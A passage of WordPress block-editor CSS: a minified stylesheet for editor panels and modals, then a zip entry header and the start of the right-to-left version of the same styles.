svg{display:block;max-width:24px}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{padding-left:40px}.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{margin-right:8px}@media (min-width:480px){.editor-header__post-preview-button{display:none}}.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header{border-bottom:none}.editor-editor-interface.is-distraction-free .editor-header{background-color:#fff;width:100%}@media (min-width:782px){.editor-editor-interface.is-distraction-free .editor-header{box-shadow:0 1px 0 0 rgba(0,0,0,.133);position:absolute}}.editor-editor-interface.is-distraction-free .editor-header>.edit-post-header__settings>.edit-post-header__post-preview-button{visibility:hidden}.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-preview-dropdown,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-zoom-out-toggle,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.interface-pinned-items,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__toolbar .editor-document-tools__document-overview-toggle{display:none}.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within{opacity:1!important}.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within div{transform:translateX(0) translateZ(0)!important}.editor-editor-interface.is-distraction-free .components-editor-notices__dismissible{position:absolute;z-index:35}.components-popover.more-menu-dropdown__content{z-index:99998}.editor-inserter-sidebar{box-sizing:border-box;display:flex;flex-direction:column;height:100%}.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{box-sizing:inherit}.editor-inserter-sidebar__content{height:100%}.editor-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.editor-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.editor-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.editor-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.editor-keyboard-shortcut-help-modal__shortcut:empty{display:none}.editor-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.editor-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0}.editor-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.editor-keyboard-shortcut-help-modal__shortcut-key-combination+.editor-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.editor-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.editor-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.editor-list-view-sidebar{height:100%}@media (min-width:782px){.editor-list-view-sidebar{width:350px}}.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{height:100%;overflow:auto;padding:4px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{height:12px;width:12px}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{background-color:initial}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{background-color:#949494}.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{scrollbar-color:#949494 #0000}@media (hover:none){.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{scrollbar-color:#949494 #0000}}.editor-list-view-sidebar__list-view-container{display:flex;flex-direction:column;height:100%}.editor-list-view-sidebar__tab-panel{height:100%}.editor-list-view-sidebar__outline{border-bottom:1px solid #ddd;display:flex;flex-direction:column;gap:8px;padding:16px}.editor-list-view-sidebar__outline>div>span:first-child{display:inline-block;width:90px}.editor-list-view-sidebar__outline>div>span{color:#757575;font-size:12px;line-height:1.4}.editor-post-order__panel,.editor-post-parent__panel{padding-top:8px}.editor-post-order__panel .editor-post-panel__row-control>div,.editor-post-parent__panel .editor-post-panel__row-control>div{width:100%}.editor-post-order__panel-dialog .editor-post-order,.editor-post-order__panel-dialog .editor-post-parent,.editor-post-parent__panel-dialog .editor-post-order,.editor-post-parent__panel-dialog .editor-post-parent{margin:8px}.editor-post-order__panel-dialog .components-popover__content,.editor-post-parent__panel-dialog .components-popover__content{min-width:320px}.editor-post-author__panel{padding-top:8px}.editor-post-author__panel .editor-post-panel__row-control>div{width:100%}.editor-post-author__panel-dialog .editor-post-author{margin:8px;min-width:248px}.editor-action-modal{z-index:1000001}.editor-post-card-panel__content{flex-grow:1}.editor-post-card-panel__title{width:100%}.editor-post-card-panel__title.editor-post-card-panel__title{align-items:center;column-gap:8px;display:flex;flex-wrap:wrap;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:500;line-height:20px;margin:0;row-gap:4px;word-break:break-word}.editor-post-card-panel__icon{flex:0 0 24px;height:24px;width:24px}.editor-post-card-panel__header{display:flex;justify-content:space-between}.editor-post-card-panel.has-description .editor-post-card-panel__header{margin-bottom:8px}.editor-post-card-panel .editor-post-card-panel__title-name{padding:2px 0}.editor-post-card-panel .editor-post-card-panel__description,.editor-post-content-information{color:#757575}.editor-post-content-information .components-text{color:inherit}.editor-post-discussion__panel-dialog .editor-post-discussion{margin:8px;min-width:248px}.editor-post-discussion__panel-toggle .components-text{color:inherit}.editor-post-discussion__panel-dialog .components-popover__content{min-width:320px}.editor-post-excerpt__textarea{margin-bottom:10px;width:100%}.editor-post-excerpt__dropdown__content .components-popover__content{min-width:320px;padding:16px}.editor-post-featured-image{padding:0}.editor-post-featured-image .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-post-featured-image__container{position:relative}.editor-post-featured-image__container:focus .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:hover .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image){opacity:1}.editor-post-featured-image__container .editor-post-featured-image__actions.editor-post-featured-image__actions-missing-image{margin-top:16px;opacity:1}.editor-post-featured-image__container .components-drop-zone__content{border-radius:2px}.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner{align-items:center;display:flex;gap:8px}.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner .components-drop-zone__content-icon{margin:0}.editor-post-featured-image__preview,.editor-post-featured-image__toggle{box-shadow:0 0 0 0 var(--wp-admin-theme-color);display:flex;justify-content:center;min-height:40px;outline-offset:-1px;overflow:hidden;padding:0;width:100%}.editor-post-featured-image__preview{height:auto!important;outline:1px solid #0000001a}.editor-post-featured-image__preview .editor-post-featured-image__preview-image{aspect-ratio:2/1;object-fit:cover;object-position:50% 50%;width:100%}.editor-post-featured-image__toggle{box-shadow:inset 0 0 0 1px #ccc}.editor-post-featured-image__toggle:focus:not(:disabled){box-shadow:0 0 0 currentColor inset,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){bottom:0;opacity:0;padding:8px;position:absolute}@media not (prefers-reduced-motion){.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){transition:opacity 50ms ease-out}}.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image) .editor-post-featured-image__action{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#ffffffbf}.editor-post-featured-image__actions .editor-post-featured-image__action{flex-grow:1;justify-content:center}[class].editor-post-format__suggestion{margin:4px 0 0}.editor-post-format__dialog .editor-post-format__dialog-content{margin:8px;min-width:248px}.editor-post-last-edited-panel{color:#757575}.editor-post-last-edited-panel .components-text{color:inherit}.editor-post-last-revision__title{font-weight:500;width:100%}.editor-post-last-revision__title.components-button.has-icon{height:100%;justify-content:space-between}.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{background:#f0f0f0}.editor-post-last-revision__title.components-button.has-icon:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-panel__body.is-opened.editor-post-last-revision__panel{height:48px;padding:0}.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{padding:16px}.editor-private-post-last-revision__button{display:inline-block}.editor-post-locked-modal__buttons{margin-top:24px}.editor-post-locked-modal__avatar{border-radius:50%;margin-top:16px;min-width:auto!important}.editor-post-panel__row{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.editor-post-panel__row-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.editor-post-panel__row-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.editor-post-panel__row-control .components-button{height:auto;max-width:100%;min-height:32px;text-align:left;text-wrap:balance;text-wrap:pretty;white-space:normal}.editor-post-panel__row-control .components-dropdown{max-width:100%}.editor-post-panel__section{padding:16px}.editor-post-publish-panel__content{min-height:calc(100% - 144px)}.editor-post-publish-panel__content>.components-spinner{display:block;margin:100px auto 0}.editor-post-publish-panel__header{align-content:space-between;align-items:center;background:#fff;border-bottom:1px solid #ddd;display:flex;height:61px;padding-left:16px;padding-right:16px}.editor-post-publish-panel__header .components-button{justify-content:center;width:100%}.editor-post-publish-panel__header .has-icon{margin-left:auto;width:auto}.components-site-card{align-items:center;display:flex;margin:16px 0}.components-site-icon{border:none;border-radius:2px;flex-shrink:0;height:36px;margin-right:12px;width:36px}.components-site-name{display:block;font-size:14px}.components-site-home{color:#757575;display:block;font-size:12px;word-break:break-word}.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{flex:1}@media (min-width:480px){.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{max-width:160px}}.editor-post-publish-panel__header-publish-button{justify-content:center;padding-left:4px}.editor-post-publish-panel__header-cancel-button{padding-right:4px}.editor-post-publish-panel__header-published{flex-grow:1}.editor-post-publish-panel__footer{padding:16px}.components-button.editor-post-publish-panel__toggle.is-primary{align-items:center;display:inline-flex}.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{display:none}.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{margin-right:-4px}.editor-post-publish-panel__link{font-weight:400;padding-left:4px}.editor-post-publish-panel__prepublish{padding:16px}.editor-post-publish-panel__prepublish strong{color:#1e1e1e}.editor-post-publish-panel__prepublish .components-panel__body{background:#fff;margin-left:-16px;margin-right:-16px}.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{display:none}.editor-post-publish-panel__prepublish .components-panel__body-title .components-button{align-items:flex-start;text-wrap:balance;text-wrap:pretty}.post-publish-panel__postpublish .components-panel__body{border-bottom:1px solid #e0e0e0;border-top:none}.post-publish-panel__postpublish-buttons{align-content:space-between;display:flex;flex-wrap:wrap;gap:16px}.post-publish-panel__postpublish-buttons .components-button{flex:1;justify-content:center}.post-publish-panel__postpublish-buttons .components-clipboard-button{width:100%}.post-publish-panel__postpublish-post-address-container{align-items:flex-end;display:flex;margin-bottom:16px}.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{flex:1}.post-publish-panel__postpublish-post-address-container input[readonly]{background:#f0f0f0;border-color:#ccc;height:36px;overflow:hidden;padding:12px;text-overflow:ellipsis}.post-publish-panel__postpublish-post-address__copy-button-wrap{flex-shrink:0;margin-left:16px}.post-publish-panel__postpublish-header{font-weight:500}.post-publish-panel__postpublish-subheader{margin:0 0 8px}.post-publish-panel__tip{color:#f0b849}@media screen and (max-width:782px){.post-publish-panel__postpublish-post-address__button-wrap .components-button{height:40px}}.editor-post-publish-panel{background:#fff;bottom:0;left:0;overflow:auto;position:fixed;right:0;top:46px;z-index:100001}@media (min-width:782px){.editor-post-publish-panel{border-left:1px solid #ddd;left:auto;top:32px;width:281px;z-index:99998}}@media (min-width:782px) and (not (prefers-reduced-motion)){.editor-post-publish-panel{animation:editor-post-publish-panel__slide-in-animation .1s forwards;transform:translateX(100%)}}@media (min-width:782px){body.is-fullscreen-mode .editor-post-publish-panel{top:0}[role=region]:focus .editor-post-publish-panel{transform:translateX(0)}}@keyframes editor-post-publish-panel__slide-in-animation{to{transform:translateX(0)}}.editor-post-saved-state{align-items:center;color:#757575;display:flex;overflow:hidden;padding:12px 4px;white-space:nowrap;width:28px}.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{background:#0000;color:#757575}.editor-post-saved-state svg{display:inline-block;flex:0 0 auto;fill:currentColor;margin-right:8px}@media (min-width:600px){.editor-post-saved-state{padding:8px 12px;text-indent:inherit;width:auto}.editor-post-saved-state svg{margin-right:0}}.editor-post-save-draft.has-text.has-icon svg{margin-right:0}.editor-post-schedule__panel-dropdown{width:100%}.editor-post-schedule__dialog .components-popover__content{min-width:320px;padding:16px}.editor-post-status{max-width:100%}.editor-post-status.is-read-only{padding:6px 12px}.editor-post-status .editor-post-status__toggle.editor-post-status__toggle{padding-bottom:4px;padding-top:4px}.editor-change-status__password-fieldset,.editor-change-status__publish-date-wrapper{border-top:1px solid #e0e0e0;padding-top:16px}.editor-change-status__content .components-popover__content{min-width:320px;padding:16px}.editor-change-status__content .editor-change-status__password-legend{margin-bottom:8px;padding:0}.editor-change-status__content p.components-base-control__help:has(.components-checkbox-control__help){margin-top:4px}.editor-post-sticky__checkbox-control{border-top:1px solid #e0e0e0;padding-top:16px}.editor-post-sync-status__value{padding:6px 0 6px 12px}.editor-post-taxonomies__hierarchical-terms-list{margin-left:-6px;margin-top:-6px;max-height:14em;overflow:auto;padding-left:6px;padding-top:6px}.editor-post-taxonomies__hierarchical-terms-choice{margin-bottom:8px}.editor-post-taxonomies__hierarchical-terms-choice:last-child{margin-bottom:4px}.editor-post-taxonomies__hierarchical-terms-subchoices{margin-left:16px;margin-top:8px}.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{margin-bottom:4px}.editor-post-taxonomies__flat-term-most-used-list{margin:0}.editor-post-taxonomies__flat-term-most-used-list li{display:inline-block;margin-right:8px}.editor-post-template__swap-template-modal{z-index:1000001}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:4}}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.editor-post-template__dropdown .components-popover__content{min-width:240px}.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{background:inherit;color:inherit}@media (min-width:782px){.editor-post-template__create-form{width:320px}}.editor-post-template__classic-theme-dropdown{padding:8px}textarea.editor-post-text-editor{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;width:100%}@media not (prefers-reduced-motion){textarea.editor-post-text-editor{transition:border .1s ease-out,box-shadow .1s linear}}@media (min-width:600px){textarea.editor-post-text-editor{font-size:15px!important;padding:24px}}textarea.editor-post-text-editor:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}textarea.editor-post-text-editor::-webkit-input-placeholder{color:#1e1e1e9e}textarea.editor-post-text-editor::-moz-placeholder{color:#1e1e1e9e}textarea.editor-post-text-editor:-ms-input-placeholder{color:#1e1e1e9e}.editor-post-title.is-raw-text{margin-bottom:24px;margin-top:2px;max-width:none}.editor-post-url__panel-dropdown{width:100%}.editor-post-url__panel-dialog .editor-post-url{margin:8px;min-width:248px}.editor-post-url__front-page-link,.editor-post-url__link{direction:ltr;word-break:break-word}.editor-post-url__front-page-link{padding:6px 0 6px 12px}.editor-post-url__link-slug{font-weight:600}.editor-post-url__input input.components-input-control__input{padding-inline-start:0!important}.editor-post-url__panel-toggle{word-break:break-word}.editor-post-url__intro{margin:0}.editor-post-url__permalink{margin-bottom:0;margin-top:8px}.editor-post-url__permalink-visual-label{display:block}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;margin-right:12px;margin-top:2px;max-width:24px;min-width:24px;padding:6px 8px;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{transition:box-shadow .1s linear}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{height:16px;max-width:16px;min-width:16px;width:16px}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:12px}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{height:8px;width:8px}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{background:var(--wp-admin-theme-color);border:none}.editor-post-visibility__fieldset .editor-post-visibility__info{color:#757575;margin-left:36px;margin-top:.5em}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__info{margin-left:28px}}.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{margin-bottom:0}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-left:32px;padding:6px 8px;width:calc(100% - 32px)}@media not (prefers-reduced-motion){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{transition:box-shadow .1s linear}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{color:#1e1e1e9e}.editor-posts-per-page-dropdown__content .components-popover__content{min-width:320px;padding:16px}.editor-post-trash.components-button{flex-grow:1;justify-content:center}.editor-preview-dropdown .editor-preview-dropdown__toggle.has-icon.has-text{padding-left:6px;padding-right:4px}.editor-preview-dropdown__button-external{display:flex;justify-content:space-between;width:100%}.editor-resizable-editor.is-resizable{margin:0 auto;overflow:visible}.editor-resizable-editor__resize-handle{appearance:none;background:none;border:0;border-radius:9999px;bottom:0;cursor:ew-resize;height:100px;margin:auto 0;outline:none;padding:0;position:absolute;top:0;width:12px}.editor-resizable-editor__resize-handle:after{background-color:#75757566;border-radius:9999px;bottom:16px;content:"";left:4px;position:absolute;right:0;top:16px;width:4px}.editor-resizable-editor__resize-handle.is-left{left:-18px}.editor-resizable-editor__resize-handle.is-right{right:-18px}.editor-resizable-editor__resize-handle:active,.editor-resizable-editor__resize-handle:focus,.editor-resizable-editor__resize-handle:hover{opacity:1}.editor-resizable-editor__resize-handle:active:after,.editor-resizable-editor__resize-handle:focus:after,.editor-resizable-editor__resize-handle:hover:after{background-color:var(--wp-admin-theme-color)}.editor-layout__toggle-entities-saved-states-panel,.editor-layout__toggle-publish-panel,.editor-layout__toggle-sidebar-panel{background-color:#fff;border:1px dotted #ddd;bottom:auto;box-sizing:border-box;display:flex;height:auto!important;justify-content:center;left:auto;padding:24px;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.interface-interface-skeleton__actions:focus .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .editor-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-publish-panel{bottom:0;top:auto}.editor-start-page-options__modal .editor-start-page-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.editor-start-page-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.editor-start-page-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.editor-start-page-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-start-page-options__modal-content .block-editor-block-patterns-list{column-count:4}}.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column;margin-bottom:24px}.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{min-height:100px}.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{width:100%}.editor-start-template-options__modal .editor-start-template-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.editor-start-template-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.editor-start-template-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.editor-start-template-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-start-template-options__modal-content .block-editor-block-patterns-list{column-count:4}}.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{display:none}.components-panel__header.editor-sidebar__panel-tabs{padding-left:0;padding-right:8px}.components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{padding:0}@media (min-width:782px){.components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{display:flex}}.editor-post-summary .components-v-stack:empty{display:none}.editor-site-discussion-dropdown__content .components-popover__content{min-width:320px;padding:16px}.table-of-contents__popover.components-popover .components-popover__content{min-width:380px}.components-popover.table-of-contents__popover{z-index:99998}.table-of-contents__popover .components-popover__content{padding:16px}@media (min-width:600px){.table-of-contents__popover .components-popover__content{max-height:calc(100vh - 120px);overflow-y:auto}}.table-of-contents__popover hr{margin:10px -16px 0}.table-of-contents__wrapper:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.table-of-contents__counts{display:flex;flex-wrap:wrap;margin:-8px 0 0}.table-of-contents__count{color:#1e1e1e;display:flex;flex-basis:33%;flex-direction:column;font-size:13px;margin-bottom:0;margin-top:8px;padding-right:8px}.table-of-contents__count:nth-child(4n){padding-right:0}.table-of-contents__number,.table-of-contents__popover .word-count{color:#1e1e1e;font-size:21px;font-weight:400;line-height:30px}.table-of-contents__title{display:block;font-size:15px;font-weight:600;margin-top:20px}.editor-text-editor{background-color:#fff;flex-grow:1;position:relative;width:100%}.editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){border:1px solid #949494;border-radius:0;font-family:Menlo,Consolas,monaco,monospace;font-size:2.5em;font-weight:400;line-height:1.4;max-width:none;padding:16px}@media (min-width:600px){.editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){padding:24px}}.editor-text-editor .editor-post-title.is-raw-text textarea:focus,.editor-text-editor .editor-post-title:not(.is-raw-text):focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.editor-text-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:0 12px 12px;width:100%}@media (min-width:960px){.editor-text-editor__body{padding:0 24px 24px}}.editor-text-editor__toolbar{background:#fffc;display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.editor-text-editor__toolbar{padding:12px}}@media (min-width:960px){.editor-text-editor__toolbar{padding:12px 24px}}.editor-text-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:40px;margin:0 auto 0 0}.editor-visual-editor{align-items:center;background-color:#ddd;display:flex;position:relative}.editor-visual-editor iframe[name=editor-canvas]{background-color:initial}.editor-visual-editor.is-resizable{max-height:100%}.editor-visual-editor.has-padding{padding:24px 24px 0}.editor-visual-editor.is-iframed{overflow:hidden}.editor-visual-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.editor-visual-editor .components-button.has-icon,.editor-visual-editor .components-button.is-tertiary{padding:6px}.editor-fields-content-preview{border-radius:4px;display:flex;flex-direction:column;height:100%}.dataviews-view-table .editor-fields-content-preview{flex-grow:0;width:96px}.editor-fields-content-preview .block-editor-block-preview__container,.editor-fields-content-preview .editor-fields-content-preview__empty{margin-bottom:auto;margin-top:auto}.editor-fields-content-preview__empty{text-align:center}PK1Xd[W���dist/editor/style-rtl.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.interface-complementary-area-header{
  background:#fff;
  gap:4px;
  padding-left:8px;
}
.interface-complementary-area-header .interface-complementary-area-header__title{
  margin:0 0 0 auto;
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
  height:100%;
  overflow:auto;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{
  top:0;
}
.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  font-weight:500;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
